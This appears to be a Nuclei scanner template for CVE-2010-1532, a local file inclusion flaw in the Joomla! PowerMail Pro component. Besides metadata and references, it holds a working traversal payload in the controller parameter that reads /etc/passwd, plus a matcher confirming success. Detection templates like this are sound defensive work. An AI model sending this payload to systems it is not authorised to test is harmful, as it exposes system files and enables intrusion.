id: CVE-2010-1532

info:
  name: Joomla! Component PowerMail Pro 1.5.3 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the givesight PowerMail Pro (com_powermail) component 1.5.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12118
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1532
    - http://packetstormsecurity.org/1004-exploits/joomlapowermail-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1532
    cwe-id: CWE-22
    epss-score: 0.1633
    epss-percentile: 0.96635
    cpe: cpe:2.3:a:givesight:com_powermail:1.53:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: givesight
    product: com_powermail
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,givesight,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_powermail&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ae84d5a6739ffb4b429e4dbfa37613b46333734ae0738a0fddf95a1fce2939ac022075722dda73027b77bc26d8ca5f17d16cbe2cc9740fcbd6ca60a8fe23da44668f:922c64590222798bb761d5b6d8e72950